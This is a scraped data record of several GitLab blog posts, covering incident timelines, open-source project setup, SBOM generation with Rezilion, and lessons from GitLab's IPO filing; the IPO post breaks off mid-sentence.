Role","en-us/blog/how-modern-devops-practices-are-changing-the-operations-role.yml","en-us/blog/how-modern-devops-practices-are-changing-the-operations-role",{"_path":12124,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12125,"content":12130,"config":12135,"_id":12137,"_type":16,"title":12138,"_source":17,"_file":12139,"_stem":12140,"_extension":20},"/en-us/blog/gitlab-incident-timelines",{"title":12126,"description":12127,"ogTitle":12126,"ogDescription":12127,"noIndex":6,"ogImage":12013,"ogUrl":12128,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12128,"schema":12129},"How to leverage GitLab incident timelines","What actually happened before, during, and after the incident? Now it's easier to keep track.","https://about.gitlab.com/blog/gitlab-incident-timelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to leverage GitLab incident timelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2022-10-18\",\n      }",{"title":12126,"description":12127,"authors":12131,"heroImage":12013,"date":12132,"body":12133,"category":962,"tags":12134},[5305],"2022-10-18","\n\n_When you're working on an incident, every second counts._ Team members and leadership are looking for updates. Any interruption can make you lose track of where you were. Finding the root cause or working on a code change to resolve the incident requires time and focus. After the incident is resolved, you'll need to provide a summary of what happened during the post-incident review. How can you provide updates and keep track of important events while working on the incident?\n\n## Incident timelines with GitLab\n\nGitLab recently launched [incident timelines](https://docs.gitlab.com/ee/operations/incident_management/incident_timeline_events.html).  Incident timelines are the single source of truth (SSoT) for key updates and events that happen during an incident. They typically include things like when the incident was declared, who is actively working on the incident, and other important events during the incident; i.e. \"Disabling Canary to test a hot fix.\"\n\nUpdating the timeline needs to be done quickly and efficiently. Use GitLab quick actions to add multiple timeline items programmatically.\n\n![quick_action](https://about.gitlab.com/images/blogimages/incident-mgmt/incident_timeline_quick_actions.png)\n\nOr [add any comment from the incident to the timeline](https://docs.gitlab.com/ee/operations/incident_management/incident_timeline_events.html#from-a-comment-on-the-incident) by clicking on the clock icon. This helps avoid the unnecessary shoulder taping for updates so users can focus on firefighting.  \n\nWhen you're at the end of your on-call shift, you can share the timeline as you hand off the incident to summarize what's happened so far. If you've missed adding something important to the timeline, you can always add the event retroactively and post-date it to the correct time. When you wake up for your next shift, you can review what happened while you were away.\n\n## Keeping a record with incident timelines\n\nOnce an incident has been resolved, it can be hard to piece together what actually happened. Sometimes, post-incident reviews don't happen until days after you've worked on the incident. _Did the incident originate from an alert or was it from a customer email?_ _Did we meet our Service Level Agreement (SLA)?_ Since you've kept track along the way, incident timelines can be a quick way to refresh your memory on what happened during the incident.  \n\nEstablishing incident timelines as a SSoT minimizes the time spent on incident \"paperwork.\" This gives you time to focus on resolving the incident. Once the incident resolves you can review with team members to minimize the chance of the same incident occurring again.\n\nThe [GitLab Infrastructure Team](/handbook/engineering/infrastructure/#dogfooding) has been testing [dogfooding](https://www.urbandictionary.com/define.php?term=Dog%20fooding) and using incident timelines. We'd love to hear about how you are constructing and recording what happens during an incident. You can also take a look at [Improving the Incident Timeline](https://gitlab.com/groups/gitlab-org/-/epics/8256) and help influence what we build next.\n",[695,2368,754],{"slug":12136,"featured":6,"template":678},"gitlab-incident-timelines","content:en-us:blog:gitlab-incident-timelines.yml","Gitlab Incident Timelines","en-us/blog/gitlab-incident-timelines.yml","en-us/blog/gitlab-incident-timelines",{"_path":12142,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12143,"content":12149,"config":12154,"_id":12156,"_type":16,"title":12157,"_source":17,"_file":12158,"_stem":12159,"_extension":20},"/en-us/blog/how-to-start-a-great-oss-project",{"title":12144,"description":12145,"ogTitle":12144,"ogDescription":12145,"noIndex":6,"ogImage":12146,"ogUrl":12147,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12147,"schema":12148},"How to start a great OSS project","In a modern DevOps world it's never been more critical to embrace open source. Here's everything you need to know to get started.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679362/Blog/Hero%20Images/contribute-open-source-jobs.jpg","https://about.gitlab.com/blog/how-to-start-a-great-oss-project","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to start a great OSS project\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mike Vanbuskirk\"}],\n        \"datePublished\": \"2022-10-18\",\n      }",{"title":12144,"description":12145,"authors":12150,"heroImage":12146,"date":12132,"body":12152,"category":813,"tags":12153},[12151],"Mike Vanbuskirk","\nIf you spend any time coding, you've probably considered starting an OSS project at some point. Of course, the natural temptation is to immediately sit down and start writing code. That's a great approach that many projects have started from, but what about when it's time to let others contribute?\n\nAn OSS project is as much about community as it is code, and the key to building a good project is providing an inviting, productive place for that community to work and create. How can new contributors be onboarded smoothly? What kind of maintenance and automation will allow the project to scale beyond the scope of its original creator's time and resources? This article hopes to answer a few of these questions and provide first-time project maintainers with a solid foundation for launching a great OSS project.\n\n## Create a great README.md\n\nA README file is the \"entry point\" to an OSS project. Most distributed version control software hosting platforms like GitLab make the README file the first thing a visitor sees when viewing the repo. A good README manages to convey important information about a project while focusing on ease of navigation and reading and grabs the attention of potential contributors and users.\n\nTo start, maintainers should familiarize themselves with [Markdown](https://www.markdownguide.org), the markup language used for most OSS project documentation files like README. Markdown is a simple, elegant tool for crafting content and it's helpful to be aware of its features and capabilities.\n\nFor the README file itself, there are some things maintainers can include that will help drive productive participation and engagement.\n\n### Overview of the project\n\nA great way to draw attention to your project is to lead with a UI or CLI screenshot of the software. Even better: record some basic usage and convert it to a GIF using an OSS (of course!) tool like [Terminalizer](https://github.com/faressoft/terminalizer). The overview should also include the \"why\" of the project; it should be clear what problem or problems the project solves, and what drove the maintainer to create the project.\n\n### How to install and use it\n\nOSS project users can often become OSS project contributors; a well-run and well-documented project goes a long way towards bringing more contributors into the fold. Users should be presented with clear, concise, and most importantly correct instructions for installing and using the software contained in the project. Potential users and contributors are likely to be put off by confusing, complex, or non-functional installation instructions.\n\n### Links to documentation\n\nNot all project documentation does or even should fit inside the README file. Your project likely depends on one or more programming languages, as well as the many development tools, libraries, and modules in the language ecosystem. The README should serve as a project portal; linking to third-party documentation as needed, rather than as a comprehensive collection of all relevant documentation in one place.\n\n### Links to Code of Conduct\n\nThe global OSS project community is made up of a great many individuals, representing a rich, diverse spectrum of backgrounds and identities. With that in mind, an OSS project needs to provide a welcoming, inclusive Code of Conduct with firm and clear rules around expected behavior and decorum. One option is [Contributor Covenant](https://www.contributor-covenant.org/). A shared understanding of what defines good conduct is a pillar of a good community.\n\n### Links and instructions for reporting bugs or requesting features\n\nIf OSS project users become contributors, a great way to foster this transition is to make it easy to report bugs or request features. Ideally, this is where your README file links to your CONTRIBUTING.md file as well.\n\nA great example of an OSS project with an awesome README is [Leapp](https://github.com/Noovolari/leapp#readme); here’s another [example on GitLab](https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/master/README.md). This [Hacker News discussion](https://news.ycombinator.com/item?id=30106264) further demonstrates the power of the OSS project community in helping drive better engagement.\n\n## Creating a great CONTRIBUTING.md is important too\n\nThe CONTRIBUTING.md file represents another very important piece of documentation in an OSS project. Ideally, a CONTRIBUTING file should contain clear instructions for how individuals can get started contributing to your project. It's also important to be cognizant of first-time contributors to your project versus first-time contributors to OSS. For first-time OSS participants, it can be helpful to include links [like this](https://opensource.guide/how-to-contribute/).\n\nThe focus should be on technical detail; clear, concise instructions for how to clone, build, test, and commit are just some of what should be included. An adequate amount of detail and context is important, especially around what pre-requisite knowledge is expected and where it can be gained. The goal is to provide a deterministic path for contributors, with the end-state being a well-formed Merge Request. The [GitLab document](https://about.gitlab.com/community/contribute/) provides an excellent example.\n\nThe documentation for contributing should include:\n\n### An introductory message\n\nThis should be a warm and welcoming message that encourages individuals to participate, but also gives them the right foundation and context for creating successful and helpful commits.\n\n### How to set up a development environment\n\nDevelopment environments can be tricky to get right. Contributors may be working from a variety of different operating systems, IDEs, and hardware. Focus on making your project as environment agnostic as possible. Containerization tools like [Docker](https://www.docker.com) can help by isolating dependencies within the boundaries of a container environment. Ideally, as the project grows, you can take advantage of CI/CD automation to standardize things like linting and testing in a controlled environment or provide a one-click deployment option via something like [GitPod](https://www.gitpod.io).\n\n### How to run tests\n\nEarly in the project lifecycle, testing will probably be a minimal, non-comprehensive affair. Contributors will need to have clear guidance on setting up local development and testing to ensure their commits don't break existing functionality. Tests are another aspect of contributions that benefit heavily from automation.\n\n### Links to resources, including a style guide, the primary discussion medium, etc...\n\nContributors will almost always need to refer to additional resources to help them complete their work. The Contributing doc is a great place to link helpful and relevant documentation, including style guides, as well as third-party information. You should also highlight where the primary discussion medium for the project is hosted, which can be something like Slack, Discord, or within the repository itself.\n\n### Specific instructions on reporting bugs, and submitting changes/features\n\nBe specific and explicit with instructions for bugs, changes, and features. Providing this up-front reduces the amount of time that might be spent requesting basic formatting changes or additional information that's typically always needed on these topics.\n\n### Less experienced contributors? Suggest first-time issues\n\nContributing to OSS can be very intimidating for first-time contributors. It can be extremely helpful not just for your project, but for the entire OSS ecosystem to label issues that are ideal for first-time contributions. GitLab uses the [quick win](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&label_name%5B%5D=quick%20win&first_page_size=20) label to highlight such issues.\n\nSome criteria that make for good first issues:\n- User-facing documentation updates\n- Adding unit tests\n- Well-scoped bug fixes, with an obvious end-state or success metric\n- Writing good code comments. Python docstrings are great for defining class and method behavior and are read by a variety of tools.\n\n## Choose a good license\n\nAn often overlooked, but no less important, part of starting an OSS project is choosing a good license. The sometimes verbose legal language of OSS licenses, as well as the scare stories of them being applied inappropriately, can be intimidating to first-time contributors.\n\nFortunately, tools like [Choose a license](https://choosealicense.com/) are available, allowing maintainers to make an informed choice about which license model is the best fit for the project.\n\nThe MIT and Apache licenses are common choices for OSS projects, but each project and maintainer are unique. Something else to consider is that a lot of OSS contributors often work professionally as software engineers, and may be subject to rules that prohibit or limit OSS contributions based on intellectual property concerns.\n\n## Use templates to make OSS maintenance easier\n\nEarly in the life of your OSS project, there are likely to only be a few contributors. The inflow of pull requests, issues and feature work will generally be pretty manageable at this stage. The need for automation and well-defined processes won't be immediately obvious, but once the project scales it's very easy to feel overwhelmed without some structure in place.\n\nTemplates are a great way to help establish some formal processes for dealing with common workflows in OSS projects. For most version control platforms, templates are Markdown documents that allow maintainers to pre-define the format and structure of things like issues, pull requests, and merge requests. There are some good examples of [issue templates here](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/issue_templates), as well as [templates for merge requests](https://gitlab.com/gitlab-org/gitlab/-/tree/master/.gitlab/merge_request_templates).\n\nGiving contributors a clear picture of the required information up front saves a lot of time and headache, and avoids the dance of maintainers having to frequently ask follow-up questions on issues to get a clear picture of the actual technical problem at hand. Once your project hits a critical mass of participation, it's very important to have a good structure of templates in place to allow you, and eventually other maintainers to leverage their time.\n\nAnother easy win for ease of maintenance is committing a well-formed gitignore file that's relevant to the type of project and language choice. The [SCM Git docs](https://git-scm.com/docs/gitignore) provide great documentation.\n\n## Automate your OSS project\n\nLeveraging maintainer resources and time is the key to successfully growing an OSS project. Beyond templates, some platforms allow maintainers to automate significant portions of the building and deployment of their projects.\n\nOne piece of automation that should be familiar to anyone with experience in a DevOps environment is Continuous Integration/Continuous Delivery(CI/CD) pipelines. CI/CD tools enable engineers to define a repeatable workflow that can lint, analyze, test, and deploy code while providing fast feedback on the outcome of each step. For example: a project using Python could integrate [pyflakes](https://gitlab.com/dnsmichi/api-playground/-/blob/main/.gitlab-ci.yml) into its CI workflow, ensuring all contributions are tested with a common standard for linting and syntax. Even [Markdown code can be tested](https://gitlab.com/gitlab-de/playground/markdown-lint-challenge/-/blob/main/.gitlab-ci.yml) this way! If maintainers want to take this pattern even further, a tool like [MKDocs can be integrated into a CI/CD workflow](https://gitlab.com/dnsmichi/opsindev.news/-/blob/main/.gitlab-ci.yml) as well to automatically generate documentation for the project. For busy maintainers, automating the typically tedious process of writing and updating documentation is a huge win.\n\nWith automation deployed, status badges can be a great way to provide contributors with a holistic view of the state of things like test coverage, build status, CI/CD health, and the current release version. The status badges on [this project](https://gitlab.com/gitlab-de/use-cases/iac-tf-vuln-module) provide both users and contributors with an at-a-glance understanding of pipeline health, and the most current release version of the module.\n\nFor anyone thinking about starting a project or already maintaining an open source project, the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/) program provides maintainers access to Ultimate features for free, which includes many valuable Security features as well as additional CI minutes.\n\n## Great OSS projects aren't just code\n\nCode is of central importance to open source software. However, an OSS project is more than just code. It's a community of diverse individuals participating in a shared goal. To help achieve that goal, it's crucial to provide a well-maintained space for that community to participate.\n\nSaying thanks for every contribution, welcoming everyone, and encouraging them to stay with feedback can also help make the project an inviting space. Along the way, you'll find new maintainers, and friends as well.\n\n_GitLab developer evangelist Michael Friedrich made significant contributions to this post._\n",[4103,815,2704],{"slug":12155,"featured":6,"template":678},"how-to-start-a-great-oss-project","content:en-us:blog:how-to-start-a-great-oss-project.yml","How To Start A Great Oss Project","en-us/blog/how-to-start-a-great-oss-project.yml","en-us/blog/how-to-start-a-great-oss-project",{"_path":12161,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12162,"content":12168,"config":12174,"_id":12176,"_type":16,"title":12177,"_source":17,"_file":12178,"_stem":12179,"_extension":20},"/en-us/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion",{"title":12163,"description":12164,"ogTitle":12163,"ogDescription":12164,"noIndex":6,"ogImage":12165,"ogUrl":12166,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12166,"schema":12167},"Meet the demand for SBOMs with GitLab and Rezilion","Learn the role of SBOMs in helping to secure your software supply chain and how to generate them with the GitLab + Rezilion integration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672849/Blog/Hero%20Images/jessica-lewis-fJXv46LT7Xk-unsplash.jpg","https://about.gitlab.com/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet the demand for SBOMs and supply chain security with GitLab and Rezilion\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-10-17\",\n      }",{"title":12169,"description":12164,"authors":12170,"heroImage":12165,"date":12171,"body":12172,"category":674,"tags":12173},"Meet the demand for SBOMs and supply chain security with GitLab and Rezilion",[1622],"2022-10-17","\nModern software development often takes advantage of code reuse. Instead of reinventing the wheel, developers can use a library that focuses on a particular\nfunction for use in an application. However, there is one caveat: These\ndependencies may be susceptible to security vulnerabilities, which may render\nyour whole application – and possibly your software supply chain – as vulnerable.\n\nThat is why DevOps teams must be able to generate a software bill of materials, or [SBOM](https://docs.gitlab.com/ee/user/application_security/dependency_list/). GitLab has partnered with [Rezilion](/partners/technology-partners/#rezilion) to make this task easier.\n\n## The need for SBOMs\n\nIn 2020, the [Solar Winds software supply chain attack happened](https://www.businessinsider.com/solarwinds-hack-explained-government-agencies-cyber-security-2020-12). Hackers used an easy-to-guess password to inject malicious\ncode into a software update and many users of the affected Solar Winds product\nOrion, including government agencies, had their data compromised.\n\nThis breach, along with other high-profile attacks, led Pres. Biden's administration to [require software vendors to deliver a software bill of materials (SBOM)](https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/) with any software offer they make to federal agencies.\n\n## Secure your software and manage vulnerabilities\n\nTo get started with software supply chain security, you need to not only implement security scanning, but\nalso have a process in place to manage and effectively triage these vulnerabilities.\n\nBelow, you can see the typical software development lifecycle. It shows that security scans are run on a feature branch. A developer can view the presented vulnerabilities and continue to commit to the feature branch which re-runs the scans.\n\nOnce the vulnerabilities have been remediated the feature branch can be merged. If vulnerabilities are still present, [approval](https://docs.gitlab.com/ee/user/application_security/policies/scan-result-policies.html) by the security team can be required, and you can continue to keep track of the vulnerability with a [confidential issue](https://docs.gitlab.com/ee/user/project/issues/confidential_issues.html).\n\n![](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/sdlc.png)\n\nLet's go over how to do the following:\n\n* Implement security scanners in GitLab with built-in templates\n* Manage vulnerabilities with the GitLab vulnerability report\n* Manage dependencies and generate an SBoM\n* Efficiently triage exploitable vulnerabilities with Rezilion\n\n## Implement security scanners\n\nThe first step in securing your software supply chain is to implement [security scanners](https://docs.gitlab.com/ee/user/application_security/configuration/#security-testing) into your CI/CD pipeline.\nThese scanners should be set up in a way, where they run on each code commit. When a vulnerability is detected, approval by a security team member should be required.\n\nGitLab offers many different security scanners to get you started:\n\n* [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/)\n* [Dynamic Application Security Testing (DAST)](https://docs.gitlab.com/ee/user/application_security/dast/)\n* [Infrastructure as Code (IaC) Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n* [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/)\n* [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/)\n* [Coverage-Guided Fuzzing](https://docs.gitlab.com/ee/user/application_security/coverage_fuzzing/)\n* [Web-API Fuzzing](https://docs.gitlab.com/ee/user/application_security/api_fuzzing/)\n* [Secret Detection](https://docs.gitlab.com/ee/user/application_security/iac_scanning/)\n\nWith the scanners running in a pipeline, static application source code is scanned, as well as dependencies and the\nrunning application itself.\n\nThese scanners can be implemented by simply adding templates to your [GitLab CI YAML](https://docs.gitlab.com/ee/user/application_security/sast/index.html#configure-sast-manually). You can also use the [Configuration UI](https://docs.gitlab.com/ee/user/application_security/sast/index.html#configure-sast-in-the-ui-with-customizations)\nto set up and configure these security scanners. You can check out the set up instructions for each scanner in the [GitLab appsec configuration documentation](https://docs.gitlab.com/ee/user/application_security/configuration/#security-testing).\n\n## Manage vulnerabilities\n\nNext up, see how to use GitLab to manage vulnerabilities. GitLab provides a single source of truth that allows developers and\nappsec engineers to collaborate and address issues together. After the security scanners have been implemented, there are a\nfew ways to manage vulnerabilities.\n\nDevelopers will use the MR view to see all the vulnerabilities present in the **diff** between the **feature branch** and the **branch you are merging with**.\n\nYou can see below, that each vulnerability is presented in an easy-to-read view: \n\n![Life cycle illustration](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/mr-view.png)\n\nWhen you click on a vulnerability, you can see details such as:\n\n* Status\n* Description\n* Evidence\n* Severity\n* Identifiers\n* Linked Issues\n* Solution\n* Security Training\n\nThe vulnerabilities are also actionable which means they can be dismissed or a confidential issue can be created to triage later.\n\n![Screenshot of vulnerabilities](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/mr-view-2.png)\n\nThen there is the [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) which displays all the vulnerabilities detected within the **main** branch and allows for the\nsecurity team to triage and address vulnerabilities from a common interface, enabling collaboration.\n\n![Detailed view of vulnerability](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/vr-1.png)\n\nOnce you click on a vulnerability, you are provided with [advanced details](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) on the vulnerability as well as how to remediate it.\n\n![Vulnerability report](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/vr-2.png)\n![Remediation suggestions](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/vr-3.png)\n\nAn appsec engineer can change the status, add additional information, and create confidential issues from this view.\n\n## Manage dependencies\n\nNow that you have seen how to run security scans on your application, as well as manage vulnerabilities, let's explore managing our \napplication's dependencies and understanding what is running on your system.\n\nThere are a few ways of managing dependencies and generating an SBoM. I'll go over\nthe GitLab Dependency List (SBoM) as well as the dynamic Rezilion SBoM.\n\n### GitLab Dependency List (SBoM)\n\nGitLab provides a [Dependency List](https://docs.gitlab.com/ee/user/application_security/dependency_list/) also known as an SBoM.\nThe dependency list contains your project’s dependencies and critical details about those dependencies, including their known vulnerabilities.  GitLab displays dependencies with the following information:\n\n| Field\t| Description |\n| ----- | ----------- |\n| Component\t| The dependency’s name and version. |\n| Packager |\tThe packager used to install the dependency. |\n| Location |\tFor system dependencies, this lists the image that was scanned. For application dependencies, this shows a link to the packager-specific lock file in your project that declared the dependency. It also shows the dependency path to a top-level dependency, if any, and if supported. |\n| License\t| Links to the dependencies' software licenses. |\n\nYou can download your project’s full list of dependencies and their details in [CycloneDX](https://cyclonedx.org/) JSON format. CycloneDX is a lightweight SBoM standard designed for use in application security contexts and supply chain component analysis. See it in action below:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/5a-_l1bqWhQ\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n### Rezilion SBoM\n\nRezilion provides a dynamic SBoM directly within the GitLab UI. It displays all the software components your application uses, and determines their loaded/unloaded status for a quick risk assessment.\n\n![Screenshot of SBoM](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/rezilion-sbom.png)\n\n## Easily triage exploitable vulnerabilities\n\nNow that you have seen how to secure your application as well as its dependencies, you \ncan make sure addressing security issues does not slow down development. What matters most in your\nenvironment is to help save developers time and deliver secure products in a swift manner.\n\nHere is where GitLab + Rezilion comes into play: The integration reduces developers' patching efforts by enabling them to only display vulnerabilities that are exploitable. Rezilion will mark unexploitable vulnerabilities as false positives, which can then be sorted out. This can be done within the GitLab vulnerability report:\n\n![Display of exploitable vulnerabilities](https://about.gitlab.com/images/blogimages/fast-and-efficient-supply-chain-security-with-rezilion-and-gitlab/rezilion-exploitable.png)\n\nCheck out the demo showing how GitLab and Rezilion work together:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/FgNp7FQFniE\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\nWith these tools in hand, not only will you be able to secure your application's code before it makes its way to production, but you'll be able to do it in a fast and efficient manner.\n\nTo learn more about the GitLab + Rezilion integration check out this [whitepaper](https://www.rezilion.com/wp-content/uploads/2022/03/Rezilion-GitLab-Solution-Overview.pdf). You can also sign up for a free trial of [GitLab Ultimate](/free-trial) and [Rezilion](https://rezilion.com/get-started).\n\nPhoto by \u003Ca href=\"https://unsplash.com/es/@jessicalewiscreative?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Jessica Lewis\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/checklist?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n",[674,282,232],{"slug":12175,"featured":6,"template":678},"fast-and-efficient-sbom-with-gitlab-and-rezilion","content:en-us:blog:fast-and-efficient-sbom-with-gitlab-and-rezilion.yml","Fast And Efficient Sbom With Gitlab And Rezilion","en-us/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion.yml","en-us/blog/fast-and-efficient-sbom-with-gitlab-and-rezilion",{"_path":12181,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":12182,"content":12188,"config":12193,"_id":12195,"_type":16,"title":12196,"_source":17,"_file":12197,"_stem":12198,"_extension":20},"/en-us/blog/one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public",{"title":12183,"description":12184,"ogTitle":12183,"ogDescription":12184,"noIndex":6,"ogImage":12185,"ogUrl":12186,"ogSiteName":1180,"ogType":1181,"canonicalUrls":12186,"schema":12187},"Everything we learned about IPOs in taking GitLab public - Part 4","GitLab co-founder and CEO Sid Sijbrandij shares insights about the process of going public.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671861/Blog/Hero%20Images/gitlab-logo-500.jpg","https://about.gitlab.com/blog/one-third-of-what-we-learned-about-ipos-in-taking-gitlab-public","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Everything we learned about IPOs in taking GitLab public - Part 4\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-10-14\",\n      }",{"title":12183,"description":12184,"authors":12189,"heroImage":12185,"date":12190,"body":12191,"category":736,"tags":12192},[3532],"2022-10-14","\nIt was this time last year that GitLab (NASDAQ: GTLB) went public and was the first company to [publicly live stream](https://vimeo.com/650088717?embedded=true&source=vimeo_logo&owner=115027220) the entire end-to-end listing day at Nasdaq. To celebrate our 1 year anniversary, I shared an overview of what we learned through our S-1 filing and initial public offering (IPO) process with Sifted, a media outlet focused on topics for startups and innovators (and invested in by the venerable Financial Times), in a three-part series:\n\n1. [Going public in the US? This is the most important document in the process](https://sifted.eu/articles/gitlab-part-one-going-public-us/)\n2. [‘More cowbell!’: Publicly livestreaming GitLab’s Nasdaq listing day & celebrating](https://sifted.eu/articles/gitlabs-nasdaq-listing-part-two/)\n3. [Powered by cookies, not airplanes: Pricing and allocating IPO shares](https://sifted.eu/articles/gitlab-part-three-allocating-ipo-shares/)\n\nBut there is so much more to share around preparing the S-1 filing and initial steps for setting the IPO in motion, including how to work with insurance providers, what to expect from your board, and more - all of which I am including in this blog post.\n\nPart 4 of the series below will cover these areas.\n\n![GitLab team celebrating IPO](https://about.gitlab.com/images/blogimages/teamnasdaq.jpg){: .shadow} \nTeam members celebrating in NYC and remotely\n{: .note.text-center}\n\n## Preparing the S-1 filing\n\nTo get started, here are some things we learned throughout the GitLab IPO:\n\n- **Cheap stock**: We learned that it is common when the SEC reviews the IPO filing to comment on [“cheap stock.”](https://www.pwc.com/us/en/services/consulting/deals/library/cheap-stock.html) Cheap stock refers to equity awards issued to employees ahead of an IPO at a value far less than the IPO price. Cheap stock issues can delay an IPO or stock listing and may result in a cheap stock charge, which is an incremental and often unforeseen stock-based compensation expense. Cheap stock concerns can impact the company’s registration timeline, so it is important to ensure that it is clear to the SEC how your company has been assessing fair-market value for stock-based compensation issued prior to the potential IPO. We reviewed our assumptions we used for valuing the stock for granting and determined our assumptions of the timing of the IPO should have had a higher weighting and took a charge to the company but not to team members.\n\n- **Physical addresses not necessary**: Physical addresses aren’t necessary to file for an IPO. We have been a 100% remote workforce since inception and, as of July 31, 2021, had approximately 1,350 team members in over 65 countries. Operating remotely allows us access to a global talent pool, providing a strong competitive advantage. We wrote [Address Not Applicable in our S-1 filing](https://www.sec.gov/Archives/edgar/data/1653482/000162828021018818/gitlab-sx1.htm#:~:text=Employer%20Identification%20Number) where the address was requested. Initially we received a comment from the SEC regarding an address where investors could send communications to the company, but after providing an explanation about being 100% remote we were able to use the email address reach.gitlab@gitlab.com in the footnote on the cover page.\n\n- **Work remote-first with your S-1 drafting process**: Typically, drafting the S-1 is done in-person over many weeks. The process would involve going to the \"financial printer\" and sitting in a room together and flipping through hardcopy pages one by one. (In San Francisco, the most commonly used financial printer is situated near a sushi restaurant and it’s a custom to convene for sushi afterwards.) Even during the pandemic, some companies were still meeting in person in small groups. We drove a highly efficient process that minimized travel using Zoom, Slack, Workiva, and Google Workspace that spanned just three weeks for our initial S-1 draft. Even auditor reviews were handled remotely. This would typically require a combination of management, outside counsel, and the bankers passing drafts back and forth. Instead, we hosted real-time drafting sessions over Zoom and used shared Google Docs with multiple stakeholders doing real-time editing. We followed the [GitLab process](https://handbook.gitlab.com/) and the way the company works remotely for the S-1. Finally, because we didn’t hold meetings in person, we were able to pull in SMEs (subject matter experts) from throughout the legal and finance teams to answer questions during the diligence process with the bankers. At other companies, this process would have been handled by the Chief Legal Officer and the Chief Financial Officer. This leant itself to more diversity of thought than would typically be possible when constrained by the size of a meeting room. (The one obvious downside is that we didn’t get together afterwards for sushi.)\n\n- **Efficient process for responding to SEC comments**: When you file an S-1 confidentially, the SEC routinely [provides comments back](https://www.sec.gov/divisions/corpfin/cffilingreview). These comments are expected. The S-1 filing is intended to create market transparency by educating all investors. Comments from the SEC seek to ensure that a S-1 is in-depth enough to make investors feel informed. We were able to address the initial 16 comments (an unusually small number) from the SEC and refile quickly. We responded to the first set of comments in one week. This is quite fast to respond to an initial set of comments – 2 weeks is more typical.\n\n- **Founder letter**: These are common in S-1 documents. Most are one or two pages. My [founder letter](/blog/gitlab-inc-takes-the-devops-platform-public/#foundersletter) is longer at 4 pages (though Google’s 2004 letter is over twice as long based on word count). It included a [10-point plan to maintain our startup ethos](https://www.sec.gov/Archives/edgar/data/1653482/000162828021020056/gitlab-424b4.htm) (page 96) inspired by [Amazon’s Day 1 letter](https://s2.q4cdn.com/299287126/files/doc_financials/annual/Shareholderletter97.pdf) explained in a [blog post](https://aws.amazon.com/executive-insights/content/how-amazon-defines-and-operationalizes-a-day-1-culture/) and repeated verbatim in every annual filing since.\n\n- **File the S-1 confidentially**: Form S-1 is a filing required by the U.S. Securities and Exchange Commission for companies planning on going public. Public filings often lead to unsolicited public speculation about the company. Thanks to the [JOBS Act](https://www.sec.gov/spotlight/jobs-act.shtml), if your company meets certain requirements, you can confidentially submit the S-1 form. If your company decides not to go forward with an investor roadshow and IPO, the confidentiality preserves optionality. \n\n- **Know when to be quiet**: There is a [specific quiet period window](https://www.investor.gov/introduction-investing/investing-basics/glossary/quiet-period) leading up to the IPO  and continuing after the listing day when team members and people affiliated with your company (ex. board members) cannot be perceived as hyping the company. We were advised as a best practice to start our Quiet Period once we selected bankers for our IPO. The Quiet Period then continued through the 25 days after our stock started being publicly traded, which included the day of the IPO. It’s important to ensure compliance with laws and regulations governing the IPO and being a public company even before the company is public. The road to IPO is littered with horror stories and unintentional consequences as a result of [“gun 